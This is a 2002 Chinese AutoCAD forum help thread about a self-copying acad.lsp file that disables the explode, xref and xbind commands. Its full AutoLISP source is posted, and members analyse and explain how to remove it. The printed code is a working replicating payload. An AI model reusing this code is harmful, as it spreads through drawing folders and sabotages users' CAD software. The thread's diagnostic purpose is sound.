找回密码
 立即注册

QQ登录

只需一步,快速开始

扫一扫,访问微社区

查看: 5482|回复: 47

[求助]:我的ACADR14为什么炸不开图块了?

  [复制链接]
发表于 2002-5-28 22:33:28 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

×
我的ACADR14为什么炸不开图块了? 这种现象是装了群亚之后发生的,以前还没有过. 我用expode命令时. 出现这样的信息:
Command: _explode
Select objects: 1 found

Select objects:

Seltct
objects:1
found
1
was
not
able
to
be
explode

奇怪的是就是这样一个单词一行的。图块没炸开,我还发现我画图的当前文件目录里自己产生了一个acad.lsp 文件,我估计就是这个文件在作祟,但每次删掉它,还是会自己产生。
另外,在这个目录下还会产生其他的一些文件。
请帮我诊断是否中病毒了?
论坛插件加载方法
发帖求助前要善用【论坛搜索】功能,那里可能会有你要找的答案;
如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;
如何回报帮助你解决问题的坛友,一个好办法就是给对方加【D豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
发表于 2002-5-28 23:00:47 | 显示全部楼层
在[修改]中选[分解]试一试
论坛插件加载方法
发帖求助前要善用【论坛搜索】功能,那里可能会有你要找的答案;
如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;
如何回报帮助你解决问题的坛友,一个好办法就是给对方加【D豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
回复 支持 反对

使用道具 举报

 楼主| 发表于 2002-5-28 23:18:49 | 显示全部楼层
我试过了,用简化命令,用菜单选命令都试过了,还是没用.
论坛插件加载方法
发帖求助前要善用【论坛搜索】功能,那里可能会有你要找的答案;
如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;
如何回报帮助你解决问题的坛友,一个好办法就是给对方加【D豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
回复 支持 反对

使用道具 举报

 楼主| 发表于 2002-5-29 00:01:08 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

×

  1. (defun s::startup (/ old_cmd path dwgpath mnlpath apppath oldacad
  2.                    newacad nowdwg lspbj        wjm wjm1 wjqm wjqm1 wz ns1 ns2
  3.                    )
  4.   (setq old_cmd (getvar "cmdecho"))
  5.   (setvar "cmdecho" 0)
  6.   (setq path (findfile "base.dcl"))
  7.   (setq path (substr path 1 (- (strlen path) 8)))
  8.   (setq mnlpath (getvar "menuname"))
  9.   (setq nowdwg (getvar "dwgname"))
  10.   (setq wjqm (findfile nowdwg))
  11.   (setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))
  12.   (setq acadpath (findfile "acad.lsp"))
  13.   (setq acadpath (substr acadpath 1 (- (strlen acadpath) 8)))
  14.   (setq        ns1 ""
  15.         ns2 ""
  16.         )
  17.   (setq lspbj 0)
  18.   (setq wjqm (strcat path "acad.lsp"))
  19.   (if (setq wjm (open wjqm "r"))
  20.     (progn (while (setq wz (read-line wjm))
  21.              (setq ns1 ns2)
  22.              (setq ns2 wz)
  23.              )
  24.            (if (> (strlen ns1) 14)
  25.              (if (= (substr ns1 8 7) "acadapp")
  26.                (setq lspbj 1)
  27.                )
  28.              )
  29.            (close wjm)
  30.            )
  31.     )
  32.   (if (and (= acadpath dwgpath) (/= acadpath path))
  33.     (progn (setq oldacad (findfile "acad.lsp"))
  34.            (setq newacad (strcat path "acadapp.lsp"))
  35.            (if (= lspbj 0)
  36.              (progn (setq wjqm (strcat path "acad.lsp"))
  37.                     (setq wjm (open wjqm "a"))
  38.                     (write-line
  39.                       (strcat "(load" (chr 34) "acadapp" (chr 34) ")")
  40.                       wjm
  41.                       )
  42.                     (write-line "(princ)" wjm)
  43.                     (close wjm)
  44.                     )
  45.              )
  46.            (writeapp)
  47.            )
  48.     (progn (if (/= nowdwg "Drawing.dwg")
  49.              (progn (setq oldacad (findfile "acadapp.lsp"))
  50.                     (setq newacad (strcat dwgpath "acad.lsp"))
  51.                     (writeapp)
  52.                     )
  53.              )
  54.            )
  55.     )
  56. [COLOR=red] (command "undefine" "explode")[/color]
  57.   (command "undefine" "xref")
  58.   (command "undefine" "xbind")
  59.   (setvar "cmdecho" old_cmd)
  60.   (princ)
  61.   )
  62. (defun writeapp        ()
  63.   (if (setq wjm1 (open newacad "w"))
  64.     (progn (setq wjm (open oldacad "r"))
  65.            (while (setq wz (read-line wjm)) (write-line wz wjm1))
  66.            (close wjm)
  67.            (close wjm1)
  68.            )
  69.     )
  70.   )
  71. (defun Cxplode (/ p cont old_cmd)
  72.   (setq old_cmd (getvar "cmdecho"))
  73.   (setvar "cmdecho" 0)
  74.   (setq p (ssget))
  75.   (if p
  76.     (progn (setq cont (sslength p))
  77.            (princ "\nSeltct objects:")
  78.            (princ cont)
  79.            (princ "found")
  80.            (princ "\n")
  81.            (princ cont)
  82.            (princ " was not able to be explode")
  83.            )
  84.     )
  85.   (setvar "cmdecho" old_cmd)
  86.   (princ)
  87.   )
  88. (defun C:xref (/ old_cmd)
  89.   (setq old_cmd (getvar "cmdecho"))
  90.   (setvar "cmdecho" 0)
  91.   (command "insert")
  92.   (setvar "cmdecho" old_cmd)
  93.   (princ)
  94.   )
  95. (defun C:xbind (/ old_cmd)
  96.   (setq old_cmd (getvar "cmdecho"))
  97.   (setvar "cmdecho" 0)
  98.   (command "insert")
  99.   (setvar "cmdecho" old_cmd)
  100.   (princ)
  101.   )
  102. (defun Curst (/ p old_cmd)
  103.   (setq old_cmd (getvar "cmdecho"))
  104.   (setvar "cmdecho" 0)
  105.   (princ "\nBURST----将图块中的文字炸开后成为实体")
  106.   (setq p (ssget))
  107.   (setvar "cmdecho" old_cmd)
  108.   (princ)
  109.   )
  110. (princ)


论坛插件加载方法
发帖求助前要善用【论坛搜索】功能,那里可能会有你要找的答案;
如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;
如何回报帮助你解决问题的坛友,一个好办法就是给对方加【D豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
发表于 2002-5-29 00:50:34 | 显示全部楼层
那个ACAD.LSP屏蔽/取消了EXPLODE命令,以前有人报告过的。按理群亚不会造成这种现象的,你能确信世群亚引起的吗?

删掉那个ACAD.LSP,看看启动单纯的ACAD这个文件还会不会产生。还是运行某个特定的外挂程序才会产生。——LISP病毒我还没见过。
论坛插件加载方法
发帖求助前要善用【论坛搜索】功能,那里可能会有你要找的答案;
如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;
如何回报帮助你解决问题的坛友,一个好办法就是给对方加【D豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
回复 支持 反对

使用道具 举报

 楼主| 发表于 2002-5-29 02:22:41 | 显示全部楼层
其实我一直用纯的ACAD R14的,只是很少一段时间试用过群亚。
我把这个acad.lsp文件删掉后,再重新打开acad,再打开图,这个acad.lsp又出现了。

我刚找到权宜之策是,把acad\support\acad.lsp 文件拷贝到我画图的目录下,发现这个文件没被改动过,还是acad自带的文件。但,这样操作后,在打开ACAD时还有小小的麻烦。
论坛插件加载方法
发帖求助前要善用【论坛搜索】功能,那里可能会有你要找的答案;
如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;
如何回报帮助你解决问题的坛友,一个好办法就是给对方加【D豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
回复 支持 反对

使用道具 举报

发表于 2002-5-29 02:39:46 | 显示全部楼层
最初由 无忧 发布
其实我一直用纯的ACAD R14的,只是很少一段时间试用过群亚。
我把这个acad.lsp文件删掉后,再重新打开acad,再打开图,这个acad.lsp又出现了。

我刚找到权宜之策是,把acad\support\acad.lsp 文件拷贝到我画图的...


一定是你的AutoCAD加载了其他什么东西,比如LSP、ARX、VBA之类的。找找看是哪个坏东西。

在整个硬盘上搜寻ACAD.LSP,看内容是不是和有问题的这个一样,如果找到,看在哪个目录下,和那些文件在一起。
论坛插件加载方法
发帖求助前要善用【论坛搜索】功能,那里可能会有你要找的答案;
如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;
如何回报帮助你解决问题的坛友,一个好办法就是给对方加【D豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
回复 支持 反对

使用道具 举报

已领礼包: 593个

财富等级: 财运亨通

发表于 2002-5-29 02:54:01 | 显示全部楼层
我格式化了下startapp.lsp中,其中的红色部分修改了CAD内部explode的定义。
另外的acad.lsp(或acadapp.lsp)中肯定还有(defun c:explode .....)
下面是ACAD的联机帮助关于Undefine:
  1. 允许应用程序定义的命令替代 AutoCAD 内部命令

  2. 命令行:  undefine

  3. 输入命令名:

  4. 输入 AutoCAD 命令名将禁用该命令。可重新定义被禁用的命令名以执行其他功能。

  5. 只能取消 AutoCAD 内部命令的定义。不能取消由 AutoLISP® 定义的命令。
  6. 这包括通过 acedDefun() 注册的 ObjectARX™ 应用程序命令。也不能取
  7. 消在 acad.pgp 文件中定义的外部命令和别名的定义。

  8. 如果 AutoLISP 或 ObjectARX 应用程序定义的命令与 AutoCAD 内部命令同名,
  9. 应用程序定义的命令将激活。

  10. 可以用REDEFINE 命令恢复被取消定义的命令。

  11. [color=red]在命令名前加句点 (.) 就可以访问 AutoCAD 内部命令。 [/color]

  12. 对于通过 acedRegCmd 注册的 ObjectARX 应用程序命令,可在命令名前添加如
  13. 下内容来访问它们:句号 (.)、命令组名、句号 (.)。例如,可以通过 .acad_mtext.mtext 来访问 MTEXT 命令。

  14. 要确定 ObjectARX 应用程序的命令名和编组,请使用ARX 命令,并选择“命
  15. 令”选项查看所有当前加载的 ObjectARX 命令及其组名的列表。
复制代码
论坛插件加载方法
发帖求助前要善用【论坛搜索】功能,那里可能会有你要找的答案;
如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;
如何回报帮助你解决问题的坛友,一个好办法就是给对方加【D豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
回复 支持 反对

使用道具 举报

已领礼包: 6530个

财富等级: 富甲天下

发表于 2002-5-29 04:31:34 | 显示全部楼层
ACAD安装后本没有ACAD.lsp,acad.lsp是用户定义的acad自动执行文件。上面这个acad.lsp定义了一个自动执行函数,将以上代码复制为Acadapp.lsp,并在不满足条件(acad.lsp路径不等于Dwg路径等)的情况下,执行acad.lsp,替换掉Acad.lsp。完全是病毒机理,但代码是可见的。这可能是什么人的恶作剧,或是什么软件的反盗版功能。是前者的话,删除Acad.lsp和acadapp.lsp即可(在acad没运行时删除)。如果是后者问题就大了,代码可能是写在其他编译的文件中,需要查清是何软件,然后...
大家可能还记得KV杀毒软件带毒的事件,这可是非法的。
当然,还有一种可能性,就是软件需要屏蔽explode、xref、xbind、burst命令,但可能性太小。
论坛插件加载方法
发帖求助前要善用【论坛搜索】功能,那里可能会有你要找的答案;
如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;
如何回报帮助你解决问题的坛友,一个好办法就是给对方加【D豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
回复 支持 反对

使用道具 举报

发表于 2002-5-29 04:46:00 | 显示全部楼层

Re: [求助]:我的ACADR14为什么炸不开图块了?

最初由 无忧 发布
[B]我的ACADR14为什么炸不开图块了? 这种现象是装了群亚之后发生的,以前还没有过. 我用expode命令时. 出现这样的信息:
Command: _explode
Select objects: 1 found

Select objects:

Seltct
objects:1
found
... [/B]


不知是所有的块都炸不开,还是有些块炸不开?如果是某种块炸不开,是否可以上传一个DWG文件?谢谢!
论坛插件加载方法
发帖求助前要善用【论坛搜索】功能,那里可能会有你要找的答案;
如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;
如何回报帮助你解决问题的坛友,一个好办法就是给对方加【D豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
回复 支持 反对

使用道具 举报

 楼主| 发表于 2002-5-29 11:36:30 | 显示全部楼层
to QUN :
是所有的块,还包括PLINE 也炸不开, explode命令根本不能用了.

to ll_j :
我的直觉和你想的一样.我在找原因,但我这两天工作比较忙.还有,我的电脑水平很菜. 还要请大家帮忙了.
论坛插件加载方法
发帖求助前要善用【论坛搜索】功能,那里可能会有你要找的答案;
如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;
如何回报帮助你解决问题的坛友,一个好办法就是给对方加【D豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
回复 支持 反对

使用道具 举报

已领礼包: 6530个

财富等级: 富甲天下

发表于 2002-5-29 22:13:09 | 显示全部楼层
执行原始命令的前缀是“.”,前缀“_”是针对国际版本使用的,就是在非英语平台使用的。

上面Acad.lsp重新定义了四个命令(函数):
Command: Explode -> 屏蔽;
Command: Xref -> Insert;
Command: Xbind -> Insert;
C:Burst -> 空选。
论坛插件加载方法
发帖求助前要善用【论坛搜索】功能,那里可能会有你要找的答案;
如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;
如何回报帮助你解决问题的坛友,一个好办法就是给对方加【D豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
回复 支持 反对

使用道具 举报

 楼主| 发表于 2002-5-30 00:41:21 | 显示全部楼层
我昨天说过,还产生其他的垃圾文件,是这样的:
论坛插件加载方法
发帖求助前要善用【论坛搜索】功能,那里可能会有你要找的答案;
如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;
如何回报帮助你解决问题的坛友,一个好办法就是给对方加【D豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
回复 支持 反对

使用道具 举报

发表于 2002-5-30 01:20:42 | 显示全部楼层
恭喜恭喜!你肯定中招了!

能把其中的2CAR或其他图标类似的文件用文本编辑器打开看看吗?我想知道里面的内容。注意,不要直接双击打开。
论坛插件加载方法
发帖求助前要善用【论坛搜索】功能,那里可能会有你要找的答案;
如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;
如何回报帮助你解决问题的坛友,一个好办法就是给对方加【D豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
回复 支持 反对

使用道具 举报

 楼主| 发表于 2002-5-30 02:37:42 | 显示全部楼层
TO alim: 我用文本编辑器 打开过2car.bat 文件过, 其实这个根本不是bat文件,是长长一堆乱码.
其他的一些文件扩展名根本是骗人的,不是mpg文件,不是jpg文件,也不是xls文件. 还有一个文件名叫"结构钢筋表.xls"的, 我看了这个文件名,还以为这些所有的文件是结构专业的PKPM生成的,问了结构专业同事,才知道不是的.

你们这么多人从来没遇到过这件怪事吗?
论坛插件加载方法
发帖求助前要善用【论坛搜索】功能,那里可能会有你要找的答案;
如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;
如何回报帮助你解决问题的坛友,一个好办法就是给对方加【D豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|申请友链|Archiver|手机版|小黑屋|辽公网安备|晓东CAD家园 ( 辽ICP备15016793号 )

GMT+8, 2025-11-20 04:11 , Processed in 0.239760 second(s), 63 queries , Gzip On.

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表